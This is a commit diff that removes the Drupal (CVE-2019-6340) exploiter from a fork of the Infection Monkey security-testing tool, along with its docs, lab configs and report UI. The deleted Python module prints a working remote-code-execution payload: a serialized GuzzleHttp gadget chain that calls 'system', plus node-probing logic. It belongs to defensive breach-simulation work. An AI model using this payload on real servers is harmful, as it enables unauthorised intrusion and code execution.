forked from p15670423/monkey
Merge pull request #1876 from guardicore/1869-remove-drupal
Remove Drupal exploiter
This commit is contained in:
commit
1f5bb7efaf
|
@ -55,6 +55,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||||
- Log path config options. #1761
|
- Log path config options. #1761
|
||||||
- "smb_service_name" option. #1741
|
- "smb_service_name" option. #1741
|
||||||
- Struts2 exploiter. #1869
|
- Struts2 exploiter. #1869
|
||||||
|
- Drupal exploiter. #1869
|
||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
- A bug in network map page that caused delay of telemetry log loading. #1545
|
- A bug in network map page that caused delay of telemetry log loading. #1545
|
||||||
|
|
|
@ -39,7 +39,7 @@ class MyNewExploiter(HostExploiter):
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
|
|
||||||
A good example of an exploiter class is the [`SSHExploiter`](https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/exploit/sshexec.py). The [Drupal exploiter is a recently added web RCE exploit](https://github.com/guardicore/monkey/pull/808) that is a good reference as well.
|
A good example of an exploiter class is the [`SSHExploiter`](https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/exploit/sshexec.py). The [Log4Shell exploiter is a recently added web RCE exploit](https://github.com/guardicore/monkey/pull/1670) that is a good reference as well.
|
||||||
|
|
||||||
|
|
||||||
### Modify the Monkey Island
|
### Modify the Monkey Island
|
||||||
|
@ -83,7 +83,7 @@ A good example of an exploiter class is the [`SSHExploiter`](https://github.com/
|
||||||
"default": [
|
"default": [
|
||||||
"SmbExploiter",
|
"SmbExploiter",
|
||||||
...
|
...
|
||||||
"DrupalExploiter",
|
"Log4ShellExploiter",
|
||||||
"MyNewExploiter", <=================================
|
"MyNewExploiter", <=================================
|
||||||
],
|
],
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,35 +0,0 @@
|
||||||
---
|
|
||||||
title: "Drupal"
|
|
||||||
date: 2020-09-01T08:42:46+03:00
|
|
||||||
draft: false
|
|
||||||
tags: ["exploit", "linux", "windows"]
|
|
||||||
---
|
|
||||||
|
|
||||||
The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340)
|
|
||||||
on a vulnerable Drupal server.
|
|
||||||
|
|
||||||
### Description
|
|
||||||
|
|
||||||
Some field types do not properly sanitize data from non-form sources in certain versions
|
|
||||||
of Drupal server.
|
|
||||||
|
|
||||||
This can lead to arbitrary PHP code execution in some cases.
|
|
||||||
|
|
||||||
|
|
||||||
### Affected Versions
|
|
||||||
|
|
||||||
* Drupal 8.5.x (before 8.5.11) and Drupal 8.6.x (before 8.6.10).
|
|
||||||
|
|
||||||
One of the following conditions must hold:
|
|
||||||
* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH
|
|
||||||
or POST requests; OR
|
|
||||||
* The site has another web services module enabled, like JSON:API in
|
|
||||||
Drupal 8, or Services or RESTful Web Services in Drupal 7.
|
|
||||||
|
|
||||||
|
|
||||||
### Notes
|
|
||||||
|
|
||||||
* The Infection Monkey exploiter implementation is based on an open-source
|
|
||||||
[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a)
|
|
||||||
of the exploit by @leonjza.
|
|
||||||
* For the full attack to work, more than one vulnerable URL is required.
|
|
|
@ -1,18 +0,0 @@
|
||||||
from copy import copy
|
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
|
|
||||||
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
|
||||||
|
|
||||||
|
|
||||||
class Drupal(ConfigTemplate):
|
|
||||||
config_values = copy(BaseTemplate.config_values)
|
|
||||||
|
|
||||||
config_values.update(
|
|
||||||
{
|
|
||||||
"internal.classes.finger_classes": ["HTTPFinger"],
|
|
||||||
"basic.exploiters.exploiter_classes": ["DrupalExploiter"],
|
|
||||||
"basic_network.scope.subnet_scan_list": ["10.2.2.28"],
|
|
||||||
"internal.network.tcp_scanner.HTTP_PORTS": [80],
|
|
||||||
"internal.network.tcp_scanner.tcp_target_ports": [],
|
|
||||||
}
|
|
||||||
)
|
|
|
@ -14,7 +14,6 @@ GCP_TEST_MACHINE_LIST = {
|
||||||
"weblogic-18",
|
"weblogic-18",
|
||||||
"weblogic-19",
|
"weblogic-19",
|
||||||
"zerologon-25",
|
"zerologon-25",
|
||||||
"drupal-28",
|
|
||||||
],
|
],
|
||||||
"europe-west1-b": [
|
"europe-west1-b": [
|
||||||
"powershell-3-45",
|
"powershell-3-45",
|
||||||
|
|
|
@ -8,7 +8,6 @@ from typing_extensions import Type
|
||||||
from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
|
from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
|
||||||
from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer
|
from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer
|
||||||
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
||||||
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
|
|
||||||
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
|
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
|
||||||
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
|
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
|
||||||
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
|
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
|
||||||
|
@ -185,10 +184,6 @@ class TestMonkeyBlackbox:
|
||||||
def test_smb_pth(self, island_client):
|
def test_smb_pth(self, island_client):
|
||||||
TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH")
|
||||||
|
|
||||||
@pytest.mark.skip(reason="Drupal exploiter is deprecated")
|
|
||||||
def test_drupal_exploiter(self, island_client):
|
|
||||||
TestMonkeyBlackbox.run_exploitation_test(island_client, Drupal, "Drupal_exploiter")
|
|
||||||
|
|
||||||
@pytest.mark.skip(reason="Weblogic exploiter is deprecated")
|
@pytest.mark.skip(reason="Weblogic exploiter is deprecated")
|
||||||
def test_weblogic_exploiter(self, island_client):
|
def test_weblogic_exploiter(self, island_client):
|
||||||
TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter")
|
||||||
|
|
|
@ -3,7 +3,6 @@ import pathlib
|
||||||
from typing import Type
|
from typing import Type
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
||||||
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
|
|
||||||
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
|
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
|
||||||
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
|
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
|
||||||
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
|
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
|
||||||
|
@ -49,7 +48,6 @@ CONFIG_TEMPLATES = [
|
||||||
WmiMimikatz,
|
WmiMimikatz,
|
||||||
WmiPth,
|
WmiPth,
|
||||||
Zerologon,
|
Zerologon,
|
||||||
Drupal,
|
|
||||||
Log4jLogstash,
|
Log4jLogstash,
|
||||||
Log4jTomcat,
|
Log4jTomcat,
|
||||||
Log4jSolr,
|
Log4jSolr,
|
||||||
|
|
|
@ -103,10 +103,6 @@ data "google_compute_image" "zerologon-25" {
|
||||||
name = "zerologon-25"
|
name = "zerologon-25"
|
||||||
project = local.monkeyzoo_project
|
project = local.monkeyzoo_project
|
||||||
}
|
}
|
||||||
data "google_compute_image" "drupal-28" {
|
|
||||||
name = "drupal-28"
|
|
||||||
project = local.monkeyzoo_project
|
|
||||||
}
|
|
||||||
data "google_compute_image" "island-linux-250" {
|
data "google_compute_image" "island-linux-250" {
|
||||||
name = "island-linux-250"
|
name = "island-linux-250"
|
||||||
project = local.monkeyzoo_project
|
project = local.monkeyzoo_project
|
||||||
|
|
|
@ -495,21 +495,6 @@ resource "google_compute_instance_from_template" "zerologon-25" {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
resource "google_compute_instance_from_template" "drupal-28" {
|
|
||||||
name = "${local.resource_prefix}drupal-28"
|
|
||||||
source_instance_template = local.default_windows
|
|
||||||
boot_disk{
|
|
||||||
initialize_params {
|
|
||||||
image = data.google_compute_image.drupal-28.self_link
|
|
||||||
}
|
|
||||||
auto_delete = true
|
|
||||||
}
|
|
||||||
network_interface {
|
|
||||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
|
||||||
network_ip="10.2.2.28"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
resource "google_compute_instance_from_template" "island-linux-250" {
|
resource "google_compute_instance_from_template" "island-linux-250" {
|
||||||
name = "${local.resource_prefix}island-linux-250"
|
name = "${local.resource_prefix}island-linux-250"
|
||||||
machine_type = "n1-standard-2"
|
machine_type = "n1-standard-2"
|
||||||
|
|
|
@ -1,13 +1,4 @@
|
||||||
import re
|
|
||||||
from typing import Optional, Tuple
|
from typing import Optional, Tuple
|
||||||
from urllib.parse import urlparse
|
|
||||||
|
|
||||||
|
|
||||||
def remove_port(url):
|
|
||||||
parsed = urlparse(url)
|
|
||||||
with_port = f"{parsed.scheme}://{parsed.netloc}"
|
|
||||||
without_port = re.sub(":[0-9]+(?=$|/)", "", with_port)
|
|
||||||
return without_port
|
|
||||||
|
|
||||||
|
|
||||||
def address_to_ip_port(address: str) -> Tuple[str, Optional[str]]:
|
def address_to_ip_port(address: str) -> Tuple[str, Optional[str]]:
|
||||||
|
|
|
@ -1,197 +0,0 @@
|
||||||
"""
|
|
||||||
Remote Code Execution on Drupal server - CVE-2019-6340
|
|
||||||
Implementation is based on:
|
|
||||||
https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88
|
|
||||||
/f9f6a5bb6605745e292bee3a4079f261d891738a.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import logging
|
|
||||||
from urllib.parse import urljoin
|
|
||||||
|
|
||||||
import requests
|
|
||||||
|
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
|
||||||
from common.network.network_utils import remove_port
|
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
|
||||||
from infection_monkey.model import ID_STRING
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class DrupalExploiter(WebRCE):
|
|
||||||
_EXPLOITED_SERVICE = "Drupal Server"
|
|
||||||
|
|
||||||
def __init__(self, host):
|
|
||||||
super(DrupalExploiter, self).__init__(host)
|
|
||||||
|
|
||||||
def get_exploit_config(self):
|
|
||||||
"""
|
|
||||||
We override this function because the exploits requires a special extension in the URL,
|
|
||||||
"node",
|
|
||||||
e.g. an exploited URL would be http://172.1.2.3:<port>/node/3.
|
|
||||||
:return: the Drupal exploit config
|
|
||||||
"""
|
|
||||||
exploit_config = super(DrupalExploiter, self).get_exploit_config()
|
|
||||||
exploit_config["url_extensions"] = [
|
|
||||||
"node/", # In Linux, no path is added
|
|
||||||
"drupal/node/",
|
|
||||||
] # However, Bitnami installations are under /drupal
|
|
||||||
exploit_config["dropper"] = True
|
|
||||||
return exploit_config
|
|
||||||
|
|
||||||
def add_vulnerable_urls(self, potential_urls, stop_checking=False):
|
|
||||||
"""
|
|
||||||
We need a specific implementation of this function in order to add the URLs *with the
|
|
||||||
node IDs*.
|
|
||||||
We therefore check, for every potential URL, all possible node IDs.
|
|
||||||
:param potential_urls: Potentially-vulnerable URLs
|
|
||||||
:param stop_checking: Stop if one vulnerable URL is found
|
|
||||||
:return: None (in-place addition)
|
|
||||||
"""
|
|
||||||
for url in potential_urls:
|
|
||||||
try:
|
|
||||||
node_ids = find_exploitbale_article_ids(url)
|
|
||||||
if node_ids is None:
|
|
||||||
logger.info("Could not find a Drupal node to attack")
|
|
||||||
continue
|
|
||||||
for node_id in node_ids:
|
|
||||||
node_url = urljoin(url, str(node_id))
|
|
||||||
if self.check_if_exploitable(node_url):
|
|
||||||
self.add_vuln_url(
|
|
||||||
url
|
|
||||||
) # This is for report. Should be refactored in the future
|
|
||||||
self.vulnerable_urls.append(node_url)
|
|
||||||
if stop_checking:
|
|
||||||
break
|
|
||||||
except Exception as e: # We still don't know which errors to expect
|
|
||||||
logger.error(f"url {url} failed in exploitability check: {e}")
|
|
||||||
if not self.vulnerable_urls:
|
|
||||||
logger.info("No vulnerable urls found")
|
|
||||||
|
|
||||||
def check_if_exploitable(self, url):
|
|
||||||
"""
|
|
||||||
Check if a certain URL is exploitable.
|
|
||||||
We use this specific implementation (and not simply run self.exploit) because this
|
|
||||||
function does not "waste"
|
|
||||||
a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic.
|
|
||||||
:param url: Drupal's URL and port
|
|
||||||
:return: Vulnerable URL if exploitable, otherwise False
|
|
||||||
"""
|
|
||||||
payload = build_exploitability_check_payload(url)
|
|
||||||
|
|
||||||
response = requests.get( # noqa: DUO123
|
|
||||||
f"{url}?_format=hal_json",
|
|
||||||
json=payload,
|
|
||||||
headers={"Content-Type": "application/hal+json"},
|
|
||||||
verify=False,
|
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
|
||||||
)
|
|
||||||
|
|
||||||
if is_response_cached(response):
|
|
||||||
logger.info(f"Checking if node {url} is vuln returned cache HIT, ignoring")
|
|
||||||
return False
|
|
||||||
|
|
||||||
return "INVALID_VALUE does not correspond to an entity on this site" in response.text
|
|
||||||
|
|
||||||
def exploit(self, url, command):
|
|
||||||
# pad a easy search replace output:
|
|
||||||
cmd = f"echo {ID_STRING} && {command}"
|
|
||||||
base = remove_port(url)
|
|
||||||
payload = build_cmd_execution_payload(base, cmd)
|
|
||||||
|
|
||||||
r = requests.get( # noqa: DUO123
|
|
||||||
f"{url}?_format=hal_json",
|
|
||||||
json=payload,
|
|
||||||
headers={"Content-Type": "application/hal+json"},
|
|
||||||
verify=False,
|
|
||||||
timeout=LONG_REQUEST_TIMEOUT,
|
|
||||||
)
|
|
||||||
|
|
||||||
if is_response_cached(r):
|
|
||||||
logger.info(f"Exploiting {url} returned cache HIT, may have failed")
|
|
||||||
|
|
||||||
if ID_STRING not in r.text:
|
|
||||||
logger.warning("Command execution _may_ have failed")
|
|
||||||
|
|
||||||
result = r.text.split(ID_STRING)[-1]
|
|
||||||
return result
|
|
||||||
|
|
||||||
def get_target_url(self):
|
|
||||||
"""
|
|
||||||
We're overriding this method such that every time self.exploit is invoked, we use a fresh
|
|
||||||
vulnerable URL.
|
|
||||||
Reusing the same URL eliminates its exploitability because of caching reasons :)
|
|
||||||
:return: vulnerable URL to exploit
|
|
||||||
"""
|
|
||||||
return self.vulnerable_urls.pop()
|
|
||||||
|
|
||||||
def are_vulnerable_urls_sufficient(self):
|
|
||||||
"""
|
|
||||||
For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
|
|
||||||
:return: Whether the list of vulnerable URLs has at least 5 elements.
|
|
||||||
"""
|
|
||||||
# We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey,
|
|
||||||
# chmod it and run it.
|
|
||||||
num_urls_needed_for_full_exploit = 5
|
|
||||||
num_available_urls = len(self.vulnerable_urls)
|
|
||||||
result = num_available_urls >= num_urls_needed_for_full_exploit
|
|
||||||
if not result:
|
|
||||||
logger.info(
|
|
||||||
f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a "
|
|
||||||
f"Drupal server "
|
|
||||||
f"but only {num_available_urls} found"
|
|
||||||
)
|
|
||||||
return result
|
|
||||||
|
|
||||||
|
|
||||||
def is_response_cached(r: requests.Response) -> bool:
|
|
||||||
"""Check if a response had the cache header."""
|
|
||||||
return "X-Drupal-Cache" in r.headers and r.headers["X-Drupal-Cache"] == "HIT"
|
|
||||||
|
|
||||||
|
|
||||||
def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set:
|
|
||||||
"""Find target articles that do not 404 and are not cached"""
|
|
||||||
articles = set()
|
|
||||||
while lower < upper:
|
|
||||||
node_url = urljoin(base_url, str(lower))
|
|
||||||
response = requests.get( # noqa: DUO123
|
|
||||||
node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT
|
|
||||||
)
|
|
||||||
if response.status_code == 200:
|
|
||||||
if is_response_cached(response):
|
|
||||||
logger.info(f"Found a cached article at: {node_url}, skipping")
|
|
||||||
else:
|
|
||||||
articles.add(lower)
|
|
||||||
lower += 1
|
|
||||||
return articles
|
|
||||||
|
|
||||||
|
|
||||||
def build_exploitability_check_payload(url):
|
|
||||||
payload = {
|
|
||||||
"_links": {"type": {"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}},
|
|
||||||
"type": {"target_id": "article"},
|
|
||||||
"title": {"value": "My Article"},
|
|
||||||
"body": {"value": ""},
|
|
||||||
}
|
|
||||||
return payload
|
|
||||||
|
|
||||||
|
|
||||||
def build_cmd_execution_payload(base, cmd):
|
|
||||||
payload = {
|
|
||||||
"link": [
|
|
||||||
{
|
|
||||||
"value": "link",
|
|
||||||
"options": 'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000'
|
|
||||||
'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"'
|
|
||||||
'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:'
|
|
||||||
'{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";'
|
|
||||||
's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000'
|
|
||||||
'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000'
|
|
||||||
'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"'
|
|
||||||
'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}'
|
|
||||||
"".replace("|size|", str(len(cmd))).replace("|command|", cmd),
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"_links": {"type": {"href": f"{urljoin(base, '/rest/type/shortcut/default')}"}},
|
|
||||||
}
|
|
||||||
return payload
|
|
|
@ -85,9 +85,6 @@ class WebRCE(HostExploiter):
|
||||||
)
|
)
|
||||||
self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"])
|
self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"])
|
||||||
|
|
||||||
if not self.are_vulnerable_urls_sufficient():
|
|
||||||
return False
|
|
||||||
|
|
||||||
# Upload the right monkey to target
|
# Upload the right monkey to target
|
||||||
data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"])
|
data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"])
|
||||||
|
|
||||||
|
@ -424,18 +421,7 @@ class WebRCE(HostExploiter):
|
||||||
"""
|
"""
|
||||||
This method allows "configuring" the way in which a vulnerable URL is picked.
|
This method allows "configuring" the way in which a vulnerable URL is picked.
|
||||||
If the same URL should be used - always return the first.
|
If the same URL should be used - always return the first.
|
||||||
Otherwise - implement your own (e.g. Drupal must use a new URI each time).
|
Otherwise - implement your own.
|
||||||
:return: a vulnerable URL
|
:return: a vulnerable URL
|
||||||
"""
|
"""
|
||||||
return self.vulnerable_urls[0]
|
return self.vulnerable_urls[0]
|
||||||
|
|
||||||
def are_vulnerable_urls_sufficient(self):
|
|
||||||
"""
|
|
||||||
Determine whether the number of vulnerable URLs is sufficient in order to perform the
|
|
||||||
full attack.
|
|
||||||
Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a
|
|
||||||
vulnerable URL is for
|
|
||||||
single use, thus we need a couple of them.
|
|
||||||
:return: Whether or not a full attack can be performed using the available vulnerable URLs.
|
|
||||||
"""
|
|
||||||
return len(self.vulnerable_urls) > 0
|
|
||||||
|
|
|
@ -21,7 +21,6 @@ BASIC = {
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"MSSQLExploiter",
|
"MSSQLExploiter",
|
||||||
"DrupalExploiter",
|
|
||||||
"PowerShellExploiter",
|
"PowerShellExploiter",
|
||||||
],
|
],
|
||||||
}
|
}
|
||||||
|
|
|
@ -72,15 +72,6 @@ EXPLOITER_CLASSES = {
|
||||||
"https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.",
|
"https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.",
|
||||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/",
|
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/",
|
||||||
},
|
},
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": ["DrupalExploiter"],
|
|
||||||
"title": "Drupal Exploiter",
|
|
||||||
"safe": True,
|
|
||||||
"info": "Exploits a remote command execution vulnerability in a Drupal server,"
|
|
||||||
"for which certain modules (such as RESTful Web Services) are enabled.",
|
|
||||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/",
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"enum": ["ZerologonExploiter"],
|
"enum": ["ZerologonExploiter"],
|
||||||
|
|
|
@ -33,7 +33,6 @@ class ExploiterDescriptorEnum(Enum):
|
||||||
)
|
)
|
||||||
HADOOP = ExploiterDescriptor("HadoopExploiter", "Hadoop/Yarn Exploiter", ExploitProcessor)
|
HADOOP = ExploiterDescriptor("HadoopExploiter", "Hadoop/Yarn Exploiter", ExploitProcessor)
|
||||||
MSSQL = ExploiterDescriptor("MSSQLExploiter", "MSSQL Exploiter", ExploitProcessor)
|
MSSQL = ExploiterDescriptor("MSSQLExploiter", "MSSQL Exploiter", ExploitProcessor)
|
||||||
DRUPAL = ExploiterDescriptor("DrupalExploiter", "Drupal Server Exploiter", ExploitProcessor)
|
|
||||||
ZEROLOGON = ExploiterDescriptor(
|
ZEROLOGON = ExploiterDescriptor(
|
||||||
"ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor
|
"ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor
|
||||||
)
|
)
|
||||||
|
|
|
@ -23,7 +23,6 @@ import {smbPasswordReport, smbPthReport} from './security/issues/SmbIssue';
|
||||||
import {webLogicIssueOverview, webLogicIssueReport} from './security/issues/WebLogicIssue';
|
import {webLogicIssueOverview, webLogicIssueReport} from './security/issues/WebLogicIssue';
|
||||||
import {hadoopIssueOverview, hadoopIssueReport} from './security/issues/HadoopIssue';
|
import {hadoopIssueOverview, hadoopIssueReport} from './security/issues/HadoopIssue';
|
||||||
import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue';
|
import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue';
|
||||||
import {drupalIssueOverview, drupalIssueReport} from './security/issues/DrupalIssue';
|
|
||||||
import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue';
|
import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue';
|
||||||
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
|
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
|
||||||
import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue';
|
import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue';
|
||||||
|
@ -92,11 +91,6 @@ class ReportPageComponent extends AuthComponent {
|
||||||
[this.issueContentTypes.REPORT]: mssqlIssueReport,
|
[this.issueContentTypes.REPORT]: mssqlIssueReport,
|
||||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||||
},
|
},
|
||||||
'DrupalExploiter': {
|
|
||||||
[this.issueContentTypes.OVERVIEW]: drupalIssueOverview,
|
|
||||||
[this.issueContentTypes.REPORT]: drupalIssueReport,
|
|
||||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
|
||||||
},
|
|
||||||
'WmiExploiter': {
|
'WmiExploiter': {
|
||||||
[this.issueContentTypes.REPORT]: {
|
[this.issueContentTypes.REPORT]: {
|
||||||
[this.credentialTypes.PASSWORD]: wmiPasswordIssueReport,
|
[this.credentialTypes.PASSWORD]: wmiPasswordIssueReport,
|
||||||
|
|
|
@ -1,24 +0,0 @@
|
||||||
import React from 'react';
|
|
||||||
import CollapsibleWellComponent from '../CollapsibleWell';
|
|
||||||
|
|
||||||
export function drupalIssueOverview() {
|
|
||||||
return (<li>Drupal server/s are vulnerable to <a
|
|
||||||
href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340">CVE-2019-6340</a>.</li>)
|
|
||||||
}
|
|
||||||
|
|
||||||
export function drupalIssueReport(issue) {
|
|
||||||
return (
|
|
||||||
<>
|
|
||||||
Upgrade Drupal server to versions 8.5.11, 8.6.10, or later.
|
|
||||||
<CollapsibleWellComponent>
|
|
||||||
Drupal server at <span className="badge badge-primary">{issue.machine}</span> (<span
|
|
||||||
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
|
|
||||||
className="badge badge-danger">remote command execution</span> attack.
|
|
||||||
<br/>
|
|
||||||
The attack was made possible because the server is using an old version of Drupal, for which REST API is
|
|
||||||
enabled. For possible workarounds, fixes and more info read
|
|
||||||
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340">here</a>.
|
|
||||||
</CollapsibleWellComponent>
|
|
||||||
</>
|
|
||||||
);
|
|
||||||
}
|
|
|
@ -54,7 +54,6 @@
|
||||||
{"name": "WmiExploiter", "supported_os": ["windows"], "options": {}}
|
{"name": "WmiExploiter", "supported_os": ["windows"], "options": {}}
|
||||||
],
|
],
|
||||||
"vulnerability": [
|
"vulnerability": [
|
||||||
{"name": "DrupalExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
|
||||||
{"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
{"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
||||||
{"name": "ShellShockExploiter", "supported_os": ["linux"], "options": {}},
|
{"name": "ShellShockExploiter", "supported_os": ["linux"], "options": {}},
|
||||||
{"name": "WebLogicExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
{"name": "WebLogicExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
||||||
|
|
|
@ -53,7 +53,6 @@
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"MSSQLExploiter",
|
"MSSQLExploiter",
|
||||||
"DrupalExploiter",
|
|
||||||
"PowerShellExploiter",
|
"PowerShellExploiter",
|
||||||
"Log4ShellExploiter"
|
"Log4ShellExploiter"
|
||||||
],
|
],
|
||||||
|
|
|
@ -7,8 +7,7 @@
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"MSSQLExploiter",
|
"MSSQLExploiter"
|
||||||
"DrupalExploiter"
|
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"credentials": {
|
"credentials": {
|
||||||
|
|
|
@ -1,13 +1,4 @@
|
||||||
from unittest import TestCase
|
from common.network.network_utils import address_to_ip_port
|
||||||
|
|
||||||
from common.network.network_utils import address_to_ip_port, remove_port
|
|
||||||
|
|
||||||
|
|
||||||
class TestNetworkUtils(TestCase):
|
|
||||||
def test_remove_port_from_url(self):
|
|
||||||
assert remove_port("https://google.com:80") == "https://google.com"
|
|
||||||
assert remove_port("https://8.8.8.8:65336") == "https://8.8.8.8"
|
|
||||||
assert remove_port("ftp://ftpserver.com:21/hello/world") == "ftp://ftpserver.com"
|
|
||||||
|
|
||||||
|
|
||||||
def test_address_to_ip_port():
|
def test_address_to_ip_port():
|
||||||
|
|
|
@ -94,9 +94,9 @@ NODE_DICT = {
|
||||||
"exploits": [
|
"exploits": [
|
||||||
{
|
{
|
||||||
"exploitation_result": True,
|
"exploitation_result": True,
|
||||||
"exploiter": "DrupalExploiter",
|
"exploiter": "Log4ShellExploiter",
|
||||||
"info": {
|
"info": {
|
||||||
"display_name": "Drupal Server",
|
"display_name": "Log4j",
|
||||||
"started": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000),
|
"started": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000),
|
||||||
"finished": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000),
|
"finished": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000),
|
||||||
"vulnerable_urls": [],
|
"vulnerable_urls": [],
|
||||||
|
@ -135,12 +135,12 @@ NODE_DICT_FAILED_EXPLOITS["exploits"][1]["exploitation_result"] = False
|
||||||
|
|
||||||
def test_get_exploits_used_on_node__2_exploits():
|
